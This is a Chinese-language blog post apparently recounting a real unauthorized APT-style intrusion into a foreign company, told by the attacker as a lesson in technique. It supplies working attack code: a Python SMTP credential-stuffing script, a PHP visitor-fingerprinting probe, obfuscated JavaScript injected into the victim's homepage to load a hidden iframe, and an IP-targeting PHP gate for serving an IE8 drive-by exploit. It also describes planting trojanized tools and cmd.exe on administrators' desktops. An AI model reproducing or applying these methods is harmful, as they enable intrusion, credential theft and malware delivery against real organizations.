写在之前的废话:小菜技术能力不行,如果你觉得此文实在看不下去,还请PASS掉。如果你对我的文章有兴趣,可以与我一起交流。文章因为敏感无图,业内人士看看自然懂。在这里感谢一下那位一直在我背后默默指导我的那位大牛,要不是你,就不会有今天我,借这这个平台向你衷声说句:谢谢你!
由于APT耗时长,需要的支持多,而且目标敏感。在这里,我们不便介绍目标背景,也不多说其他的,直接来进入主题。
某国某目标,我盯了它大概半年。嗯,终于有一天,我觉得时机成熟,下手吧。
在渗透目标的前期,我们需要了解对方公司的安全意识。以及需要搜集所有网站的IP,公司的出口,以及公司网段所存在的B-C段,公司人员邮箱,公司人员爱好,facebook等信息。
首先,我把目标公司的WEB都给搜集好了,大公司一般C段都是在一起的。而我有个习惯,在渗透目标的时候,先喜欢把OWA的段找出来扫一下。这样大概的就知道了公司的架构情况。而很多时候,大公司都是会把WEB段给区分的,哪几个外网IP段是管理WEB的,哪几个段是放数据库的。不过随着网络越趋复杂,就算拿到了WEB 也就是在DMZ徘徊。不过只要拿到了WEB就好说了。Go把。
千辛万苦拿下来了这个公司的一个WEB,WEB如何拿下来咱们不多说。不是重点。当我分析内网情况的时候,环境就是在DMZ,system权限。通过判断协议,TCP HTTP都没问题。于是,我把DMZ WEB给中了一个马,这样更容易操作,至少得到了一个交互式的shell。先把远控抛开不说,通过netstat -ano分析。WEB服务器连上了在内部的一台数据库服务器。于是我找到了WEB服务器的web.config脚本,成功得到了数据库账户密码,但是数据库账户权限非SA,而且SQL SERVER版本是2008(悲剧,MSSQL 2000的话直接就远程溢出了).没办法,就算我们导了个shell,又有何用?不着急,慢慢分析,于是我试着去ping内网数据库机器,PING不通,接着我在拿S扫描器开了很小的线程,扫了扫WEB连接的数据库那台机器。和我猜想的结果是一样,这种情况我不是第一次碰到了。就只有个1433能够过去。这时,我猜想大概的内网架构是这样的:
WEB–>防火墙–>数据库服务器–>内网(而当我搞下来,发现情况并不是这样的)
算了,没办法。先不管了,连上数据库,分析数据,看能否去撞号,登OWA或者邮箱之类的。
于是写了个PYTHON脚本,去跑他们的OWA(这个脚本是N年前写的,可能不太符合,大家去改改就好了。原理差不多):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
import smtplib ,sys ,time
def main():
server = “smtp.live.com” #gmail smtp.gmail.com, yahoo smtp.mail.yahoo.com
fp = open(“D:/python//hotmail.txt”)
fp1 = open(“d:/python//save.txt”, ‘a+’)
while 1:
line = fp.readline()
uandp = line.split(‘ ’)
name = uandp[0]
name = name.split(‘@’)[0]
pwd = uandp[1]
pwd = pwd.split(“/n”)[0]
try:
smtp = smtplib.SMTP_SSL(server,465) # gmail 465
except:
print “[*]Connect Error.”
sys.exit(0)
pass
try:
#smtp.set_debuglevel(1)
#smtp.ehlo()
#smtp.starttls()
smtp.ehlo()
smtp.login(name,pwd)
except:
print “[-]:%s:%s” % (name, pwd)
pass
#time.sleep(1)
else:
out = “[+]:%s:%s/n” % (name, pwd)
print out
fp1.write(out)
fp1.flush()
smtp.quit()
smtp.close()
fp.close()
fp1.close()
if __name__==“__main__”:
main()
|
分析完数据,把数据库中的目标人物邮箱都给挑选出来。跑完。手工测试VPN,都失败了。没办法,继续另寻其他的路子。
来回到远控,通过分析,本机WEB有一个员工登录的地方,但是是.NET的。不能改代码。因为如果改写代码,需要重新编译(这里可能我说的有错。)但是有一个员工登录的地方我们就已经足够了,这里也先不管它。先分析再说。
我的远控是可以切换用户的,只要有用户在,可以切换到对方的用户下。首先分析了本地管理组的用户,抓密码。Query user 发现有几个用户在线。于是我切换到每个用户,主要就是查看IPC 。功夫不负有心人,当我切换到B的会话下的时候,NET USE看了看。大家猜我看到了啥?(可能你会想,咱们不是在DMZ吗?会话咋来的? 管理员从内网连过来。)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
C:/ProgramData>net use
New connections will be remembered.
Status Local Remote Network
–––––––––––––––––––––––––––––––––––––––-
//TSCLIENT/C Microsoft Terminal Services
//TSCLIENT/D Microsoft Terminal Services
//TSCLIENT/E Microsoft Terminal Services
//TSCLIENT/F Microsoft Terminal Services
The command completed successfully.
|
没错,管理员从内网连接过来,把盘给带过来了。这下有得玩了。于是我分析了连接过来的那个盘。通过netstat -ano 知道了带过盘来的那机器的IP。赶紧分析,知道了对方是管理员,在OWA的MAILBOX服务器上链接过来的。搞的多的就知道,MAILBOX是没WEB的,当然也有。MAILBOX主要的作用就是来存储MAIL的邮件数据。于是我CURL,S扫描了服务器的那个段。一样的,我DMZ怎么都过不去,而且对方常用端口也没开。如果开了,咱们直接复制个shell就过去,本地借用内网那台服务器执行命令就可以了。但是环境不允许我们这么容易就进入别人内网,扭转了几天,还是没办法,当我最后分析到另外一个盘符的时候,我竟然看到了IT服务器的一个盘,里面有IT部门的一部分密码。赶紧下载分析。这样,基本上我判断,域管可能在里面。于是我来到VPN,一个一个测试,竟然都失败了。心想:FUCK,肯定这个是一个小域,没有VPN可以有权限登录。然后在一个一个来测试OWA,竟然登录进去了一个。分析所有邮件,搜索关键字:PASSWORD FTP RDP SERVER,HACKER。等字眼。没有所获,就看到一封说近期有人在搞他们公司,需要加强安全防范的邮件(当然不是我。)。可能这时候很多人想:发邮件,绑马? 如果说你有0DAY或者免杀好的NDAY可以这样做。不然就是找死了。
这个时候,我还是信心满满的,不是有IT部门的盘吗? 嘿嘿,下载了几个常用的工具,比如VPN,补丁。绑马了,在传上去。还给CMD绑了个马,放到了MAILBOX的
1
|
c:/users/**/desktop
|
把每个用户桌面上都放了一个CMD.EXE。就不相信管理员不运行。
等啊等啊,等了差不多半个月。没任何反映,决定还是自己出手。不然就被动,连WEB掉了都不好了。
从网上找代码,自己改写了一个PHP,在WEB服务器上挂了一个探针。这里有个小知识:WEB服务器不是http协议的,而是https来进行访问的,所以我们需要找一个https的网站(绿标的那种),不然你是探针不到任何信息的。说做就做,HTTPS绿标的网站我多的是,而PHP代码简单,改写代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
|
<?php
function getBrowse() {
global $_SERVER;
$Agent = $_SERVER[‘HTTP_USER_AGENT’];
$browser = ”;
$browserver = ”;
$Browser = array(‘Lynx’, ‘MOSAIC’, ‘AOL’, ‘Opera’, ‘JAVA’, ‘MacWeb’, ‘WebExplorer’, ‘OmniWeb’);
for($i = 0; $i <= 7; $i ++){
if(strpos($Agent, $Browsers[$i])){
$browser = $Browsers[$i];
$browserver = ”;
}
}
if(ereg(‘Mozilla’, $Agent) && ereg(‘Maxthon’, $Agent)){
$temp = explode(‘Maxthon/’, $Agent);
$Part = $temp[1];
$temp = explode(‘ ’, $Part);
$browserver = $temp[0];
$browser = ‘Maxthon’;
}
if(ereg(‘Mozilla’, $Agent) && ereg(‘Chrome’, $Agent) && !ereg(‘Maxthon’, $Agent)){
$temp = explode(‘Chrome/’, $Agent);
$Part = $temp[1];
$temp = explode(‘ ’, $Part);
$browserver = $temp[0];
$browser = ‘Chrome’;
}
if(ereg(‘Mozilla’, $Agent) && ereg(‘Opera’, $Agent)) {
$temp = explode(‘(‘, $Agent);
$Part = $temp[1];
$temp = explode(‘)’, $Part);
$browserver = $temp[1];
$temp = explode(‘ ’, $browserver);
$browserver = $temp[2];
$browserver = preg_replace(‘/([d.]+)/’, ‘/1′, $browserver);
$browserver = $browserver;
$browser = ‘Opera’;
}
if(ereg(‘Mozilla’, $Agent) && ereg(‘MSIE’, $Agent)){
$temp = explode(‘(‘, $Agent);
$Part = $temp[1];
$temp = explode(‘;’, $Part);
$Part = $temp[1];
$temp = explode(‘ ’, $Part);
$browserver = $temp[2];
$browserver = preg_replace(‘/([d.]+)/’,‘/1′,$browserver);
$browserver = $browserver;
$browser = ‘Internet Explorer’;
}
if($browser != ”){
$browseinfo = $browser.‘ ’.$browserver;
} else {
$browseinfo = ‘Unknow Browser’;
}
return $browseinfo;
}
function getIP() {
return isset($_SERVER[“HTTP_X_FORWARDED_FOR”])?$_SERVER[“HTTP_X_FORWARDED_FOR”]
:(isset($_SERVER[“HTTP_CLIENT_IP”])?$_SERVER[“HTTP_CLIENT_IP”]
:$_SERVER[“REMOTE_ADDR”]);
}
function getOS () {
global $_SERVER;
$agent = $_SERVER[‘HTTP_USER_AGENT’];
$os = false;
if (eregi(‘win’, $agent) && strpos($agent, ’95′)){
$os = ‘Windows 95′;
}
else if (eregi(‘win 9x’, $agent) && strpos($agent, ’4.90′)){
$os = ‘Windows ME’;
}
else if (eregi(‘win’, $agent) && ereg(’98′, $agent)){
$os = ‘Windows 98′;
}
else if (eregi(‘win’, $agent) && eregi(‘nt 6.1′, $agent)){
$os = ‘Windows 7′;
}
else if (eregi(‘win’, $agent) && eregi(‘nt 6′, $agent)){
$os = ‘Windows Vista’;
}
else if (eregi(‘win’, $agent) && eregi(‘nt 5.1′, $agent)){
$os = ‘Windows XP’;
}
else if (eregi(‘win’, $agent) && eregi(‘nt 5′, $agent)){
$os = ‘Windows 2000′;
}
else if (eregi(‘win’, $agent) && eregi(‘nt’, $agent)){
$os = ‘Windows NT’;
}
else if (eregi(‘win’, $agent) && ereg(’32′, $agent)){
$os = ‘Windows 32′;
}
else if (eregi(‘linux’, $agent)){
$os = ‘Linux’;
}
else if (eregi(‘unix’, $agent)){
$os = ‘Unix’;
}
else if (eregi(‘sun’, $agent) && eregi(‘os’, $agent)){
$os = ‘SunOS’;
}
else if (eregi(‘ibm’, $agent) && eregi(‘os’, $agent)){
$os = ‘IBM OS/2′;
}
else if (eregi(‘Mac’, $agent) && eregi(‘PC’, $agent)){
$os = ‘Macintosh’;
}
else if (eregi(‘PowerPC’, $agent)){
$os = ‘PowerPC’;
}
else if (eregi(‘AIX’, $agent)){
$os = ‘AIX’;
}
else if (eregi(‘HPUX’, $agent)){
$os = ‘HPUX’;
}
else if (eregi(‘NetBSD’, $agent)){
$os = ‘NetBSD’;
}
else if (eregi(‘BSD’, $agent)){
$os = ‘BSD’;
}
else if (ereg(‘OSF1′, $agent)){
$os = ‘OSF1′;
}
else if (ereg(‘IRIX’, $agent)){
$os = ‘IRIX’;
}
else if (eregi(‘FreeBSD’, $agent)){
$os = ‘FreeBSD’;
}
else if (eregi(‘teleport’, $agent)){
$os = ‘teleport’;
}
else if (eregi(‘flashget’, $agent)){
$os = ‘flashget’;
}
else if (eregi(‘webzip’, $agent)){
$os = ‘webzip’;
}
else if (eregi(‘offline’, $agent)){
$os = ‘offline’;
}
else {
$os = ‘Unknown’;
}
return $os;
}
|
这里贴的PHP代码并非完整的,大家可以自己去改写。
脚本的功能是获取来源IP,OS,浏览器版本等等。当然如果你觉得还少,你可以加入探针JAVA,FLASH的一些功能。这里不在多说。
于是来到WEB主站,查看主页调用的JS。在JS里插入一段混淆代码。
1
|
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?“”:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return‘//w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘//b’+e(c)+‘//b’,‘g’),k[c]);return p;}(’5.6(“<1 4=//”2://3//9.a//” 7=0 8=0></1>”);’,11,11,‘|iframe|https|xxx|src|document|write|height|width|Ie|php’.split(‘|’),0,{}))
|
而原型如下:
1
|
document.write(“<iframe src=/”https://xxx//Ie.php/” height=0 width=0></iframe>”);
|
接下来我们要做的就是分析来源IP,等待了几天以后。我查看了探针的地址。记录了不少IP.但是那么多IP应该如何来确定哪个是他们的出口IP呢?
没办法,偷懒把,写了个PYTHON脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
|
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys
import threading
import httplib
import re
import time
class Myclass(threading.Thread):
def __init__(self,host,path):
threading.Thread.__init__(self)
self.host = host
self.path = path
self.result = []
def run(self):
if “https://” in self.host:
conn = httplib.HTTPSConnection(self.host,80,None,None,False,10)
else:
conn = httplib.HTTPConnection(self.host,80,False,10)
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-Us; rv:1.9.1) Gecko/20090624 Firefox/3.5″,“Accept”: “text/plain”}
conn.request(‘GET’,self.path,headers = i_headers)
r1 = conn.getresponse()
text = r1.read()
text1 = text.lstrip()
#size = text.count(“/n”)
test = open(‘ip.txt’,‘a+’)
test.write(text1)
b = open(“ip.txt”,‘r’)
c = open(“ids.txt”,‘w’)
for line in b.readlines():
m = re.search(r‘(IP:/d*./w*./d*./d*./d*)’,line)
mm = m.group(0)
owa = mm.replace(“IP:”,“”).strip().replace(“/n”,“”)
self.result = owa.replace(“/n”,“”)
c.write(self.result)
c.write(“/n”)
#print ”write success”
g = open(“ids.txt”,‘r’)
for lines in g.readlines():
getsip = lines.replace(“/n”,“”)
try:
conns = httplib.HTTPConnection(“bgp.he.net”,80,False,10)
except Exception:
print “[-]:connection out time”
break
else:
conns.request(‘GET’,‘/ip/%s’ % getsip,headers = i_headers)
r2 = conns.getresponse()
texts = r2.read()
try:
line_split = re.search(r‘(<u>.*/d+/D+.*.title=)’,texts)
obj = line_split.group(0)
print “server:”,obj.replace(“<u>”,“”).replace(“</u>”,“”).replace(“/n”,“”).replace(“(<a href=/”",“search domain:”).replace(“/” title=”,“”).replace(“/dns/”,“”)
except Exception, e:
pass
time.sleep(5)
#print line_split
def main():
if len(sys.argv) < 3:
print “[*]:Usage python info.py 127.0.0.1 /path”
sys.exit(1)
Mythread = Myclass(sys.argv[1],str(sys.argv[2]))
Mythread.start()
if __name__ == “__main__”:
main()
|
这个脚本的功能是先把目标网站记录的IP地址全部给读取下来,在本地保存为TXT,在循环依次读取一个IP,来到接口bgp.he.net 这个接口查询。至于如何分辨公司出口IP,不在多说了。看IP信息以及访问源就知道了。
成功获取到对方公司的出口IP,接下来就好办了。知道对方用的浏览器版本,OS,等等。
于是先决定先测试ie8的漏洞,网上找了个IE8的漏洞。本地WIN7 XP测试没问题(因为对方公司还是有人在用IE8,win7默认就是IE8)。但是网上找的IE8的漏洞都是被杀的不行的,于是心想,自己做把。
于是网上找了一个BASE64 JS解密脚本,把IE8的网马内写了几个函数,把核心代码都给放到函数里。然后直接把函数内都给BASE64加密了。OK,很简单把,不杀了。
但是我们在挂马的时候,并不是瞎挂。而是必须有针对性的挂,不然你挂上,杀毒软件一下把你样本给抓走了。改天又出这报告又出那报告的。多丢人。那就得需要一个定向挂马的脚本了。因为对方的HTTPS的,我VPS上没装HTTPS的证书,心想,直接就通过WEBSHELL把这串代码放到绿标的HTTPS网站上就好了。
定向挂马脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
function check_ip(){
$ALLOWED_IP=array(’192.168.2.*’,‘目标公司出口IP’);
$IP=getIP();
$check_ip_arr= explode(‘.’,$IP);
if(!in_array($IP,$ALLOWED_IP)) {
foreach ($ALLOWED_IP as $val){
if(strpos($val,‘*’)!==false){
$arr=array();
$arr=explode(‘.’, $val);
$bl=true;
for($i=0;$i<4;$i++){
if($arr[$i]!=‘*’){
if($arr[$i]!=$check_ip_arr[$i]){
$bl=false;
break;
}
}
}
if($bl){
return;
die;
}
}
}
header(‘HTTP/1.1 403 Forbidden’);
exit();
die;
} else
{
}
|
脚本的else后头,就是调用的那个网马了。
我把这个脚本和IE网马都给放到了绿标的网站上,于是重新在目标网站上,把探针去了。加入咱们的PHP脚本地址,远程调用。接下来要做的事情就是等着把。
谁没成想:刚挂上没5分钟,目标公司人中了我的网马,上线了。擦噢,这人品,不是一般的好。
赶紧把代码给取了。做内网渗透去了。而当我们到达内网的时候,内网情况却是这样的
DMZ-> WAF-> mailbox(我来到了这台服务器上)-> IDS/IPS-> 另外的域-> 主域
妈的额,好麻烦。没办法啦。之前拿下来了IT的管理密码的清单,先把当前域搞下来再说。毫无悬念的,直接连上了当前的域,控制了OWA SERVER。擦屁股走人,远控上操作去了。
虽然拿下来了这个域,但是这个域内就那么几十台个人机,而目标公司是几万人,看样子这个是他们的一个分的部门。只有继续深入了。
接下来我们要找的就是其余域的其他网段了,我ping了下目标公司的主站www.xxoo.com,嗯,内网IP地址是10.xx.xx.xx,嗯,虽然能够PING通,但是IPC这些都是不行的。接下来要做的就是打入其他域,搞定其他域,慢慢深入。
于是把目标个公司所有域名全部给搜集起来,在内网一个一个ping,把返回是内网的IP地址都给记录下来。
然后把朋友写的扫描器,指定线程,上去扫常用的WEB框架,数据库之类的东西。
预知后事如何,还请听下回分解。谢谢。
目前主域已经搞下来了,但是无奈没域管,好不容易抓到。但是被BIT9发现我了,把我又T出来了。还是得慢慢来,不着急,慢慢分析把。下回且听分析如何绕过防范不严的BIT9。
很多人看了文章可能会觉得我说的太笼统了,倒是。我不可能那么详细的说出来一些东西,但是如果你能够在这个文章里学习到新的思路,那就是我写这个文章的目的。
如果你喜欢我的文章,或者是思路。请关注我说说,我们可以一起交流和讨论。
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号